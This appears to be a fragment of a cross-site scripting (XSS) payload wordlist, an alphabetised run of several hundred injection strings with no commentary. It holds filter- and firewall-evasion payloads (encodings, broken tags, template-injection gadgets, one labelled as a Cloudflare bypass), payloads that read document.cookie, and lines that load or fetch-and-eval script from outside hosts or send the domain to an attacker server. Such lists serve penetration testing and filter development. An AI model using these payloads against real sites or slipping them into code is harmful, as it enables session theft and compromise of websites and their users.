<script/src=&#100&#97&#116&#97:text/&#x6a&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x000070&#x074,&#x0061;&#x06c;&#x0065;&#x00000072;&#x00074;(1)></script>
<script src=14.rs>
<script src="data:,alert(1)">/</script>
<script/src="data&colon;text%2Fj\u0061v\u0061script,\u0061lert('\u0061')"></script a=\u0061 & /=%2F
<script/src=data&colon;text/j\u0061v\u0061&#115&#99&#114&#105&#112&#116,\u0061%6C%65%72%74(/XSS/)></script
<script src="data:text/javascript,alert(1)"></script>
<script src=data:text/javascript;base64,%59%57%78%6c%63%6e%51%6f%4d%53%6b%3d></script>
<script src=data:text/javascript;base64,&#x59;&#x57;&#x78;&#x6c;&#x63;&#x6e;&#x51;&#x6f;&#x4d;&#x53;&#x6b;&#x3d;></script>
<script src=data:text/javascript;base64,YWxlcnQoMSk=></script>
<script/src=//google.com/complete/search?client=chrome%26jsonp=alert(1);>"
<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>
<script src="https://cse.google.com/api/007627024705277327428/cse/r3vs7b0fcli/queries/js?callback=alert(1…)"></script>
//|\\ <script //|\\ src='https://dl.dropbox.com/u/13018058/js.js'> //|\\ </script //|\\
<SCRIPT SRC=https://xss.rocks/xss.js?< B >
<script src="javascript:alert(1)">
<script src=javascript:alert(1)>
<SCRIPT SRC="%(jpg)s"></SCRIPT>
<SCRIPT SRC=%(jscript)s?<B>
<script src=%(jscript)s></script>
<SCRIPT/SRC="%(jscript)s"></SCRIPT>
<script>String.fromCharCode(97, 108, 101, 114, 116, 40, 34, 104, 105, 34, 41, 59)</script>
></script><svg onload=%26%2397%3B%26%23108%3B%26%23101%3B%26%23114%3B%26%23116%3B(document.domain)>
</script><svg/onload=alert(0)>
</script><svg onload=alert(1)>
'></script><svg/onload=alert(document.cookie)>
</script><svg onload='-/"/-confirm(1)//'"
</script><svg/pnload=prompt(1)>
</script><svg><script>alert(1)-%26apos%3B
/\<script((\\s+\\w+(\\s\*=\\s\*(?:"(.)\*?"|'(.)\*?'|\[^'"\>\\s\]+))?)+\\s\*|\\s\*)src/i
<script/&Tab; src='https://dl.dropbox.com/u/13018058/js.js' /&Tab;></script>
<script>throw onerror=alert,1</script>
<script>throw[onerror]=[alert],1</script>
<script>throw onerror=eval,e=new Error,e.message='alert\x281\x29',e</script>
<script>throw onerror=Uncaught=eval,e=new Error,e.message='/*'+location.hash,!!window.InstallTrigger?e:e.message</script>
<script>throw/x/,onerror=Uncaught=eval,h=location.hash,e=Error,e.lineNumber=e.columnNumber=e.fileName=e.message=h[2]+h[1]+h,!!window.InstallTrigger?e:e.message</script>
--></script></title></style>"/</textarea><a' onclick=alert()//>*/alert()/*
<script>top[`alert`]()</script>
<​script type="text/javascript">javascript​:alert(1);<​/script>
<script>\u0061lert(1)</script>
<script>\u0061lert('22')</script>
<script>\u0061\u006C\u0065\u0072\u0074(1)</script>
<script>~'\u0061' ; \u0074\u0068\u0072\u006F\u0077 ~ \u0074\u0068\u0069\u0073. \u0061\u006C\u0065\u0072\u0074(~'\u0061')</script U+
<script>\u{61}lert(1)</script>
<script>var a=document.createElement("a");a.href="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==";a.click();</script>
<script>var a=document.createElement("a");a.href="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==";http://a.click();</script>
<script>var{a:onerror}={a:alert};throw 1</script>
<script>var{haha:onerror=alert}=0;throw 1</script>
"><script>var img=document.createElement('img');img.src='x';img.onerror=function(){prompt(document.domain);};document.body.appendChild(img);</script>
<script>window['al'+'ert']()</script>
/><script>window.alert('XSS Vulnerable');</script>
<--'<Script>Window.Confirm(2)</Script> --!>
<script>window[['conf','irm'].toString().replaceAll(',',"")]()</script>
<script>with(document)alert(cookie)</script>
"><script&#x00000003B;alert&#x000000028;1&#x000000029;&#x00000003B;</script>
"`'><script>\x09javascript:alert(1)</script>
“`’><script>\x0Djavascript:alert(document.cookie)</script>
<script\x20type="text/javascript">javascript:alert(1);</script>
'"`><script>/* *\x2Fjavascript:alert(1)// */</script>
"`'><script>\x3Bjavascript:alert(1)</script>
<script x> alert(1) </script 1=2
<script x>alert('XSS')<script y>
"`'><script>\xE2\x80\xAFjavascript:alert(1)</script>
"`'><script>\xEF\xBF\xAEjavascript:alert(1)</script>
<script>x=""-prompt(9)-"";y=42;</script>
<scr<object>ipt>alert(1)</script>
<scronerror=ipt>prompt(document.domain)</scronerror=ipt>
</Scrpt/"%27--!>%20<Scrpt>%20confirm(1)%20</Scrpt>
<scr<script>ipt>alert(1)</script>
<scr<script>ipt>alert(1);</scr</script>ipt>
<scr<script>ipt>alert('XSS')</scr</script>ipt>
<scr<script>ipt>alert('XSS')</scr<script>ipt>
<scr<script>ipt>document.write("Successful XSS")</scr<script>ipt>
</scr</script>ipt><ifr<iframeame/onload=prompt()>whs
<scr<script>ipt>prompt(document.cookie)</scr</script>ipt>
<scr\uffffipt>alert(0)</script>
<scr\x00ipt>alert(1)</scr\x00ipt>
<sc<script>ript>alert(123)</sc</script>ript>
search?q=<img/src/onerror=alert(`coffinxp`)>
search?q=javascript:alert(document.domain)
Search/Results?q=<img/src/onerror=alert(`coffinxp`)>
Search/Results?q="><img src=x onerror=prompt(document.domain);>
secbreake@gmail.com\u003C/script\u003E\u003Cscript\u003Ealert(document.domain)//
<select autofocus onfocus=alert(1)>
"></select><img%20src=1%20onerror=alert(1)>
<select onchange="alert('XSS')"><option>Option</option></select>
';self[(+{}+[])[+!![]]+(![]+[])[!+[]+!![]]+([][[]]+[])[!+[]+!![]+!![]]+(!![]+[])[+!![]]+(!![]+[])[+[]]]((+{}+[])[+!![]]);//
';self['ale'+'rt'](self['doc'+'ument']['dom'+'ain']);//
';self[/*foo*/'alert'/*bar*/](self[/*foo*/'document'/*bar*/]['domain']);//
';self['\x61\x6c\x65\x72\x74'](self['\x64\x6f\x63\x75\x6d\x65\x6e\x74']['\x64\x6f\x6d\x61\x69\x6e']);//
Set.constructor('ale'+'rt(13)')();
Set.constructor`alert\x2845\x29`
Set.constructor`alert\x28document.domain\x29
Set.constructor`al\x65rt\x2814\x29```;
setInterval('ale'+'rt(10)');
setInterval`alert\x2823\x29`
setTimeout('ale'+'rt(2)');
setTimeout`alert\x2823\x29`
'-setTimeout`prompt\u0028document.domain\u0029`-'
-setTimeout`prompt\u0028document.domain\u0029`-'
“>-setTimeout`\u0028alert(1)\u0029`-’
sg7cx"%20onerror%3d"confirm(document.domain)"gd67e
<shadow onfocus=alert(1) autofocus tabindex=1>	
[].sort.call`${alert}23`
{"source":{},"__proto__":{"source":"$`onerror=prompt(1)>"}}
<span/onmouseover=confirm(1)>xss
SRC=javascript&#058;alert(String&#46;fromCharCode(88,83,83))&gt;
src=JaVaSCript:prompt(132)
src=x:alert(alt) alt=3117
s = '"><script>alert(1)</script>' print 'eval(String.fromCharCode('+",".join([str(ord(o)) for o in s])+'))'
<s<script>cript>alert()</s<script>cript>
<strong><button popovertarget="x"></button><test onbeforetoggle="alert(document.domain)" popover id="x"></test></strong>
<strong><button popovertarget="x">click me</button><test onbeforetoggle="alert(document.domain)" popover id="x">aaa</test></strong>
</style &#32;><script &#32; :-(>/**/alert(document.location)/**/</script &#32; :-(
"+style%3d"x%3aexpression(alert(1))+
<STYLE>a{background:url('s1' 's2)}@import javascript:javascript:alert(1);');}</STYLE>
<style>*{background-image:url('\6A\61\76\61\73\63\72\69\70\74\3A\61\6C\65\72\74\28\6C\6F\63\61\74\69\6F\6E\29')}</style>
<style>*{background-image: url(javascript:alert('XSS'))}</style>
<style>img{background-image:url('javascript:alert(1)')}</style>
<style><img src="</style><img src=x "><object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
<style><img src="</style><img src=x onerror=javascript:alert(1)//">
<style><img src="</style><img src=x onerror=javascript:alert(/AmoloHT/)//">
<style><img title="</style><img src onerror=alert(1)>"></style>
<STYLE>@import'%(css)s';</STYLE>
'><!--"/><style>@import 'data:text/css;base64,YWxlcnQoZG9jdW1lbnQuY29va2llKSk=';</style><b><!--
<style>@import 'javascript:alert(XSS)';</style>
<STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>
<style>jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e</style>
<style>@keyframes a{}b{animation:a;}</style> <b/onanimationstart=prompt`${document.domain}&#x60;>
<style>@keyframes a{}b{animation:a;}</style><b/onanimationstart=prompt`${document.domain}&#x60;>
<style>@keyframes slidein {}</style><xss style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></xss>
<style>@keyframes x{}</style><xss style="animation-name:x" onanimationend="alert(1)"></xss>
<style>@keyframes x{}</style><xss style="animation-name:x" onanimationstart="alert(1)"></xss>
[" <style>@KeyFrames z{</style><div style=animation-name:z onanimationend=&#97&#108&#101&#114&#116&grave;1&grave;> %253Cscript%253Ealert('XSS')%253C%252Fscript%253E "</script> "]
<STYLE>li+{list-style-image:url("javascript:alert(1)");}</STYLE><UL><LI>
<STYLE>li+{list-style-image:url("javascript:alert(1)");}</STYLE><UL><LI>1
<STYLE>li {list-style-image: url("javascript:alert('XSS')");}</STYLE><UL><LI>XSS</br>
<STYLE>li {list-style-image: url("javascript:javascript:alert(1)");}</STYLE><UL><LI>XSS
<style/onload=&lt;!--&#09;&gt;&#10;alert&#10;&lpar;1&rpar;>
<style/onload=prompt&#40;'&#88;&#83;&#83;'&#41;
<style/onload=prompt&#40;'&#88;&#83;&#83;'&#41;	
<style onreadystatechange=alert(1)>
<style onreadystatechange=javascript:javascript:alert(1);></style>
</style></scRipt><scRipt>alert(1)</scRipt>
</style></script><script>alert("XSS")</script>
<///style///><span %2F onmousemove='alert&lpar;1&rpar;'>SPAN
<STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>
<STYLE type="text/css">BODY{background:url("javascript:javascript:alert(1)")}</STYLE>
<STYLE TYPE="text/javascript">javascript:alert(1);</STYLE>
<style>//*{x:expression(alert(/xss/))}//<style></style>
<STYLE>.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A CLASS=XSS></A>
<STYLE>.XSS{background-image:url("javascript:javascript:alert(1)");}</STYLE><A CLASS=XSS></A>
STYLE="xss:expr/*XSS*/ession(alert('XSS')">
{{(_=''.sub).call.call({}[$='constructor'].getOwnPropertyDescriptor(_.__proto__,$).value,0,'alert(1)')()}}
<sVg %00%00%00//onsite ONloAd=\u0061\u006C\u0065\u0072\u0074`/AmoloHT/`//>
<svg%09%0a%0b%0c%0d%a0%00%20onload=alert (1)>
<svg %09onload=alert(1)>
<svg%0Ao%00nload=%09((pro\u006dpt))()//
/<svg%0Aonauxclick=0;[1].some(confirm)//
<svg%0Aonauxclick=0;[1].some(confirm)//
<svg%20oNinad=1%20onload=alert(document.cookie)>
"><svg%20onload=alert%26%230000000040"1")>
"><svg%20onload=alert%26%230000000040"mysanismine")>
<svg%20onload=alert%28document.domain%29>
><sVg%2Fonload%3Dalert%281%29+class%3Dikhsan>
"><sVg%2fonload%3dalert%2ebind%28%29%281%29%20class%3dRahul-Dh>
<svg/%6f%6e/oNloaD=alert``>
<svg><animate attributeName="xlink:href" to="javascript:alert('XSS')" /></svg>
<svg><animate onbegin=alert(1) attributeName=x dur=1s>
<svg><animate onend=alert(1) attributeName=x dur=1s>
<svg><animate onrepeat=alert(1) attributeName=x dur=1s repeatCount=2 />
<svg><a xmlns:xlink=http://www.w3.org/1999/xlink xlink:href=?><circle r=400 /><animate attributeName=xlink:href begin=0 from=javascript:alert(1) to=&>
<svg><circle><set onbegin=prompt(1) attributename=fill>
<svg contentScriptType=text/vbs><script>MsgBox+1
<svg> <foreignObject width="100%" height="100%"> <body> <iframe src='javascript:confirm(10)'></iframe> </body> </foreignObject> </svg>
#<svg id=1 onload=confirm(1)>
<svg id=1 onload=confirm(1)>
<svg id=alert(1) onload=eval(id)>
<svg id=`x`onload=alert(1)>
<svg id=x;onload=alert(1)>
<svg><image href=1 onerror=alert(1)>	
"><svg><img src=x onerror=prompt(document.domain);></svg>
<svg@load=this.alert(1)>
<svg>on%20onload%3D(“XSS”)(document.domain)<%2Fsvg>
<svg/on%20onload=alert(1)>
<svg onauxclick='a=alert;b=document;a(b.domain)'>
"/><svg onauxclick=&#x63&#x6F&#x5C&#x75&#x30&#x30&#x36&#x65&#x66&#x69&#x72&#x6D(\\1\\)>
<sVg/onfake="x=y"oNload=;1^(co\u006efirm)``^1//
<svg onfocus=alert(1) autofocus tabindex=1>	
<svg/OnLoad="`${prompt``}`">
<svg onload%09%20%28%2c%3b=alert(1)>
<svg onload="[]['\146\151\154\164\145\162']['\143\157\156\163\164\162\165\143\164\157\162'] ('\141\154\145\162\164\50\61\51')()">
<svg/onload=%26nbsp;alert`bohdan`+
<!--><svg+onload=%27top[%2fal%2f%2esource%2b%2fert%2f%2esource](document.cookie)%27>
<svg+onload%3dprompt%26%230000000040document.domain)>
<svg/onload=&#97&#108&#101&#114&#00116&#40&#41&#x2f&#x2f
<svg onload=&#97&#108&#101&#114&#116(1)>
"><SVG ONLOAD=&#97&#108&#101&#114&#116(&#x64&#x6f&#x63&#x75&#x6d&#x65&#x6e&#x74&#x2e&#x64&#x6f&#x6d&#x61&#x69&#x6e)>
<svg onload=alert("")>
<svg onload=alert&#0000000040"1")>
”><svg onload=alert&#0000000040"1")>
<svg onload=alert&#0000000040document.cookie)>
"<svg onload=alert (1)> " ;
"><svg onload=alert(1)//
"><svg onload=alert(1)>
"><svg/onload=alert(1);>
#"><svg onload=alert(1)>
#<!--><svg onload=alert(1)-->
--><svg onload=alert(1)>
<!--><svg onload=alert(1)-->
<svgonload=alert(1)>
<svgonload=alert(1)>
<svg onload=alert(1)//
<svg onload=alert(1)>
<svg////////onload=alert(1)>
<svg/onload=alert(1)
<svg/onload=alert(1)>
<svg•onload=alert(1)>
<svg/onload​=alert/*1337*/(1)>
<svg onload=alert (1337)&nvgt;
<!--><svg onload=alert(1)-->.asp
<!--><svg onload=alert(1)-->.aspx
<svg/onload=alert(1)>"@gmail.com
<!--><svg onload=alert(1)-->.html
<!--><svg onload=alert(1)-->.php
<svg onload=alert%26%230000000040"")>
<svg onload=alert%26%230000000040"1")>
<svg/onload='alert&#40 23 &#41'> 
<svg/onload​=alert/&#42;&#42;/(4)>
'<'s'v'g' o'n'l'o'a'd'='a'l'e'r't'('7')' '>'
"><svg onload=alert&amp;amp;#x00000040"1")>
"><svg onload=alert&amp;amp;#x27;#x00000040"1")>
"><svg onload=alert&amp;gt;#x00000040"1")>
"><svg+onload=alert&amp;#x00"1
"><svg onload=alert&amp;#x27;#x00000040"1")>
"><svg onload=alert&amp;#x2F;#x00000040"1")>
svg/onload=alert(document.cookie)abcdef@test.com
<svg onload=alert(document.domain)>
>'>"><svg/onload=alert(document.domain)>
/*\"<sVg/oNloAd=alert(document.domain)//>\x3e
#<svg/onload=alert(“Hacked”)>
<svg/onload=alert(“Hacked”)>
<svg/onload​=alert//&NewLine;(2)>
"><svg onload=alert&quot;#x00000040"1")>
<svg/onload​=alert&sol;**&sol;(3)>
"><svg/onload=alert(String.fromCharCode(88,83,83))>
<svg/onload=alert(String.fromCharCode(88,83,83))>
"><svg onload=alert&#x00000040"1")>
<svg/onload​=alert&#x2F;**&#47;(5)>
"><svg onload=alert&#x2F;#x00000040"1")>
"><svg/onload=alert(/XSS/)
<svg/onload=alert('XSS')>
<svg onload=confirm(1)
"><svg/onload=confirm(1)>"@x.y
"'><svg/onload=confirm(666)>
#"'><svg/onload=confirm(666)>
"><svg onload="confirm(7)">
<svg onload="confirm(7)">
"<!--><Svg OnLoad=confirm?.(/coffin😈/)<!--1")"<!--><Svg+OnLoad=confirm?.(/coffin😈/)<!--
<svg/onload=eval(atob(‘YWxlcnQoJ1hTUycp’))>
<svg/onload=eval(atob(‘YWxlcnQoZG9jdW1lbnQuY29va2llKQ==’))>
<svg onload=eval(document.cookie)>
<svg onload=eval(URL)>
<svg onload=eval(window.name)>
<svg/onload='fetch("//host/a").then(r=>r.text().then(t=>eval(t)))'>
<svg/onload=location/**/='http://GH0ST.xss.ht/'+document.dom�
<svg/onload=location/**/='https://your.server/'+document.domain>
<svg/onload=location=`javas`+`cript:ale`+`rt%2`+`81%2`+`9`;//
<svg onload='new Function`["_Y000!_"].find(al\u0065rt)`'>
<svg/onload='+/"`/+/onmouseover=1/+/[*/[]/+alert(42);//'>
<svg/onload=parent[/al/.source.concat(/ert/.source)] (2)>
<svg/onload=parent[/al/.source+/ert/.source] (1)>
<svg/onload​=prompt()>
<svg onload=prompt&#0000000040document.domain)>"
"/><svg/onload=prompt(1)>
<svg onload=prompt%26%230000000040document.domain)>
<svg onload=prompt%26%23?000000028;document.domain)>
<svg onload=prompt%26%23x000000028;document.domain)>
"><svg onload=prompt(document.domain);>
"><svg onload=prompt(document.domain);>.asp
"><svg onload=prompt(document.domain);>.aspx
"><svg onload=prompt(document.domain);>.html
"><svg onload=prompt(document.domain);>.php
"><svg/onload=prompt('Supakiad-S. (m3ez)', document.domain)​>
<svg onload=prompt&#x000000028;document.domain)>
<svg onload\r\n=$.globalEval("al"+"ert()");>
<svg/onload=self[`aler`%2b`t`]`1`>
<svg onload=setInterval(function(){with(document)body.appendChild(createElement('script')).src='//HOST:PORT'},0)>
<svg onload svg onload="javascript:javascript:alert(1)"></svg onload>
<svg onload="void 'javascript:/*-/*`/*\`/*&#039;/*&quot;/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//&lt;/stYle/&lt;/titLe/&lt;/teXtarEa/&lt;/scRipt/--!&gt;\x3csVg/&lt;sVg/oNloAd=alert()//&gt;\x3e';"></svg>
<svg/onload=window["al"+"ert"]`1337`>
<sVg oNloaD=write()>
"><sVg/OnLuFy="X=y"oNloaD=;1^confirm(1)>/``^1//
“><sVg/OnLuFy=”X=y”oNloaD=;1^confirm(1)>/“^1//
<Svg Only=1 OnLoad=confirm(atob("Q2xvdWRmbGFyZSBCeXBhc3NlZCA6KQ=="))>
<Svg Only=1 OnLoad=confirm(atob("Q2xvdWRmbGFyZSBCeXBhc3NlZCA6KQ==")>
"><Svg Only=1 OnLoad=confirm(document.domain)>
<sVG/oNLY%3d1/**/On+ONloaD%3dco\u006efirm%26%23x28%3b%26%23x29%3b>
"><svg onmouseover="confirm&#0000000040document.domain)
<svg on onload=(alert)(document.domain)>
<Svg On Only=1 Onload=alert(1)>
<Svg On Only=1 Onload=alert("hex")>
<svg onpointerenter=jQuery.globalEval("al"+"ert(documen"+"t.cooki"+"e)");>
<sVg OnPointerEnter="location=javas+cript:ale+rt%2+81%2+9">
<sVg OnPointerEnter="location=`javas`+`cript:ale`+`rt%2`+`81%2`+`9`;//</div">
<sVg OnPointerEnter="location=`javas`+`cript:ale`+`rt%2`+`81%2`+`9`;//</div"> 
<svg/onrandom=random onload=confirm(1)>
"><svg onScroll="javascript:alert(1)//
<svg onunload svg onunload="javascript:javascript:alert(1)"></svg onunload>
<svg onUnload svg onUnload="javascript:javascript:alert(1)"></svg onUnload>
<svg onx=() onload=(confirm)(1)>
<svg onx=() onload=(confirm)(document.cookie)>
<svg/ONxss='0'/ONload=location=window[`atob`]`amF2YXNjcmlwdDphbGVydCgxKQ==`;
<svg/&parameter=onload=alert()>
<svg><path><animateMotion onbegin=alert(1) dur="1s" repeatCount="1">	
<svg></p><style><g title="</style><img src onerror=alert(document.domain)>">
<svg><script>123<1>alert(123)</script>
<svg><script%20?>confirm(1)
<svg><script ?>alert(1)
<svg><script>a<!>l<!>e<!>r<!>t<!>(<!>1<!>)</script>
<svg><script>alert&lpar;'1'&rpar;
<sVg><scRipt >alert&lpar;1&rpar; {Opera}
<svg><script href=data:,alert(1) />(
<svg><script>//&NewLine;confirm(1);</script </svg>
<svg><script onlypossibleinopera:-)> alert(1)
<svg><script>&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;</script></svg>
<svg><script x:href='https://dl.dropbox.com/u/13018058/js.js' {Opera}
<svg><script xlink:href="{ASCII}data:,alert(1)"></script></svg>
<svg><script xlink:href=data:,alert(1) />
<svg><script xlink:href=data&colon;,window.open('https://www.google.com/')></script
<SvG><set%0Aonbegin%0A=%0aa=confirm;a%28%60xss%60)/x>
/><svg src=x onload=confirm(document.domain);>
<svg><style>{font-family&colon;'<iframe/onload=confirm(1)>'
</svg>''<svg><script 'AQuickBrownFoxJumpsOverTheLazyDog'>alert&#x28;1&#x29; {Opera}
<TABLE BACKGROUND="javascript:alert('XSS')">
<table background="javascript:javascript:alert(1)">
<TABLE BACKGROUND="javascript:javascript:alert(1)">
<table background="javascript:javascript:alert(/AmoloHT/)">
<TABLE><TD BACKGROUND="javascript:alert('XSS')">
<TABLE><TD BACKGROUND="javascript:javascript:alert(1)">
tagName%2BinnerHTML%2Blocation.hash%3E/*click%20me!#*/alert(document.domain)
<%tag onmouseover="alert('markitzeroday.com')">
><tag onxxxx="'a'|alert(1)">
><tag onxxxx=alert(1)>
"></tag><svg onload=alert(1)>
</tag><svg onload=alert(1)>
"></tag><svg onload=alert(spyerror)>
<?tag x="-->" test="<img src=x onerror=alert(1)//">
Tarun~<"><details/open/ontoggle="jAvAsCrIpT&colon;alert&lpar;/xss-by-tarun/&rpar;">XXXXX</a>
tarun"><x/onafterscriptexecute=confirm%26lpar;)//
tarun"><x/onafterscriptexecute=confirm%26lpar;)// 
'te' / alert('/') / 'xt';
<teleport to=script:nth-child(2)>alert&lpar;1&rpar;</teleport></div><script></script>
test123";(alert)("xss")//
test%22%7D%29%3B%7D%29%3Balert%281%29%3B%2f%2f
test';alert`1`;a='test
test“autofocus onclick=’&#97;lert()’
test@example(<script>alert(0)</script>).com
test@gmail.com%2527%5C%2522%253E%253Csvg%2Fonload%3Dalert%28%2Fxss%2F%29%253E
test@gmail.com%27\%22%3E%3Csvg/onload=alert(/xss/)%3E
test<i>test</i><a onmouseover="alert(document.cookie)">
test",prompt%0A/*HelloWorld*/(document.domain)
test?,prompt%0A/*HelloWorld*/(document.domain)
test+(<script>alert(0)</script>)@gmail.com
testtest”+onmouseover%3D”alert%26%230000000040%3Bdocument[‘cookie’])
<<TexTArEa/*%00//%00*/a="not"/*%00///AutOFocUs////onFoCUS=alert`1` //
<textarea autofocus onfocus=alert(1)>
<!</textarea <body onload='alert(1)'>
<textarea><img title="</textarea><img src onerror=alert(1)>"></textarea>
<textarea>jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e</textarea>
</Textarea/</Noscript/</Pre/</Xmp><Svg/Onload=confirm(document.domain)>”<script/src=//15.rs></script><script src=//⑮.₨></script> *
"></textarea><ScRiPt>prompt(1)</ScRiPt// "><iframe/onload=alert(1)// ”/>&_lt;_script>alert(1)&_lt;/scr_ipt&gt”/>
"{text:<img/src=x onload=confirm(1)>}"
{text:<img/src=x onload=confirm(1)>}
themecolor=%22-alert('XSS')-%22
';this['\141\154\145\162\164']('\130\123\123');//
this['alert']()
';this['ale'+'rt'](this['doc'+'ument']['dom'+'ain']);//
';this[/*foo*/'alert'/*bar*/](this[/*foo*/'document'/*bar*/]['domain']);//
throw{},onerror??=alert,"XSS"??123
throw onerror=eval,SyntaxError`alert\x2823\x29`
throw onerror=eval,SyntaxError`alert\x2823\x29` 
throw/**/Uncaught=window.onerror=eval,&quot;;alert\5023\51&quot;
<time onfocus=alert(1) autofocus tabindex=1>	
<title><img title="</title><img src onerror=alert(1)>"></title>
<title>jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e</title>
</title><script>alert(document.domain)</script>
</TITLE><SCRIPT>alert("XSS");</SCRIPT>
/</title/'/</style/</script/--><p" onclick=alert()//>*/alert()/*
/</title/'/</style/</script/</textarea/--><p" onclick=alert()//>*/alert()/*
{{_toDisplayString.constructor('alert(1)')()}}
';top['\141\154\145\162\164']('\130\123\123');//
top[8680439..toString(30)](1)
top[“al”+”ert”](1)
top['alert'](3)
top[‘al\x65rt’](1)
-top['al\x65rt']('xss')-
{{{}.toString.constructor('confirm(1)')()}}
{{([].toString()).constructor.prototype.charAt=[].join;$eval(([].toString()).constructor.fromCodePoint([120],[61],[49],[125],[125],[125],[59],[97],[108],[101],[114],[116],[40],[49],[41],[47],[47]));}}
{{toString.constructor.prototype.charAt=toString.constructor.prototype.substr;alert(toString.constructor.fromCharCode(97,108,101,114,116,40,49,41))}}
{{toString.constructor.prototype.toString=toString.constructor.prototype.call;["a","alert(1)"].sort(toString.constructor);}}
{{toString.constructor.prototype.toString=toString.constructor.prototype.call;["a","alert(1)"].sort(toString.constructor)}}
{{{}[{toString:[].join,length:1,0:'__proto__'}].assign=[].join;'a'.constructor.prototype.charAt=[].join;$eval('x=alert(1)//');}}
<track oncuechange="alert('XSS')"></track>
"><track/onerror='confirm`1`'>
%u0022%u003e%u003cscript%u003ealert%u0028%u0027Hello%u0027%u0029%u003c%u002fscript%u003e
%u0025u0073u0063u0072u0069u0070u0074u003Ealert('XSS')%u003C%u002f%u0073%u0063%u0072%u0069%u0070%u0074%u003E
'\u0029\u0028};alert(document.cookie);//"
\u003cimg src onerror=alert(1)\u003e
\u003cimg\u0020src\u003dx\u0020onerror\u003d\u0022confirm(document.domain)\u0022\u003e
%u003Cscript%u003Ealert('XSS')%u003C/script%u003E
%u003c%u0073%u0063%u0072%u0069%u0070%u0074%u003ealert('XSS')%u003c%u002f%u0073%u0063%u0072%u0069%u0070%u0074%u003e
'\u003e\'</b><script>alert(document.cookie)</script><b><!--'
'\u003E'\u0022><script>alert(2);</script>
\u003e\u003cimg src=1 onerror=alert(0)\u003e
\u003e\u003c\u0068\u0031 onclick=alert('1')\u003e
\u0061\u006c\u0065\u0072\u0074()
\u0061\u006c\u0065\u0072\u0074(1)
\u0065\u0076\u0061\u006C('ablolzers'['replace']("b","l")['replace']("lolzers","ert"))`1`
%uff1cscript%uff1ealert(1234)%uff1c/script%uff1e
%uff1cscript%uff1ealert('XSS')%uff1c/script%uff1e
%uff1cscript%uff1ealert(‘XSS’);%uff1c/script%uff1e
\uff1c\uff53\uff43\uff52\uff49\uff50\uff54\uff1e\uff41\uff4c\uff45\uff52\uff54\uff08\uff07\uff58\uff53\uff53\uff07\uff09\uff1c\uff0f\uff53\uff43\uff52\uff49\uff50\uff54\uff1e
%uff3cscript%uff3ealert('XSS')%uff3c/script%uff3e
%uff3c%uff73%uff63%uff72%uff69%uff70%uff74%uff3ealert('XSS')%uff3c%uff2f%uff73%uff63%uff72%uff69%uff70%uff74%uff3e
%uff3c%uff73%uff63%uff72%uff69%uff70%uff74%uffe0alert('XSS')%uff3e
%uff3c%uff73%uff6cr%uff69%uff63%uff74%uffe0alert('XSS')%uff3e
<ul onfocus=alert(1) autofocus tabindex=1>	
?url=%26%2302java%26%23115cript:alert(document.domain)
url=%26%2302java%26%23115cript:alert(document.domain)
?url=javscript:alert(1)
?url="onm<>ouseover="ale<>rt(0)
?url="onm<>ouseover="ale<>rt(1)
?utm_source=abc%60%3breturn+false%7d%29%3b%7d%29%3balert%60xss%60;%3c%2f%73%63%72%69%70%74%3e
"><u>XSS</u><marquee+onstart='alert(document.cookie)'>XSS
var{haha:onerror=alert}=0;throw 1
<var onmouseover="prompt(1)">On Mouse Over</var>
VasCript:/*-/*`/*\`/*&#039;/*&quot;/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//&lt;/stYle/&lt;/titLe/&lt;/teXtarEa/&lt;/scRipt/--!&gt;\x3csVg/&lt;sVg/oNloAd=alert()//&gt;\x3e
vbscript&#00058;confirm(1);
vbscript:confirm(1);
vbscript:msgbox("XSS")
vbscript:prompt(1)#{"action":1}
vbscr&Tab;ipt:confirm(1)"
<video autoplay onplay=alert`1` src=//w3schools.com/tags/movie.mp4>
<video controls src=1 onfocus=alert(1) autofocus>	
video-js.swf?readyFunction=alert(1)
<video oncanplaythrough=alert(1)><source src="validvideo.mp4" type="video/mp4"></video>
<video onerror="javascript:javascript:alert(1)"><source>
<video onerror="javascript:javascript:alert(/AmoloHT/)"><source>
<video onfocus=alert(1) autofocus tabindex=1>	
<video onfullscreenchange=alert(1) src=validvideo.mp4 controls>
<video onloadstart=alert()><source></*>
<video onnull=null onmouseover=confirm(1)>
<video poster=javascript:javascript:alert(1)//
<video/poster/onerror=alert(1)>
<video><source onerror="javascript:alert(1)">
<Video> <source onerror = "javascript: alert (XSS)">
<video><source onerror="javascript:javascript:alert(1)">
<video><source onerror="javascript:javascript:alert(/AmoloHT/)">
<video src=1 onerror=alert(1)>
<video src=_ onloadstart="alert(1)">
<video src=x onerror1="prompt(xss)">
<video src=x onerror="prompt(xss">
<video src=x onerror="prompt(xss)">
<vmlframe xmlns=urn:schemas-microsoft-com:vml style=behavior:url(#default#vml);position:absolute;width:100%;height:100% src=%(vml)s#xss></vmlframe>
{{_Vue.h.constructor`alert(1)`()}}
<wbr onfocus=alert(1) autofocus tabindex=1>	
';window[(+{}+[])[+!![]]+(![]+[])[!+[]+!![]]+([][[]]+[])[!+[]+!![]+!![]]+(!![]+[])[+!![]]+(!![]+[])[+[]]]((+{}+[])[+!![]]);//
';window/*aabb*/['al'%2b'ert'](document./*aabb*/location);//
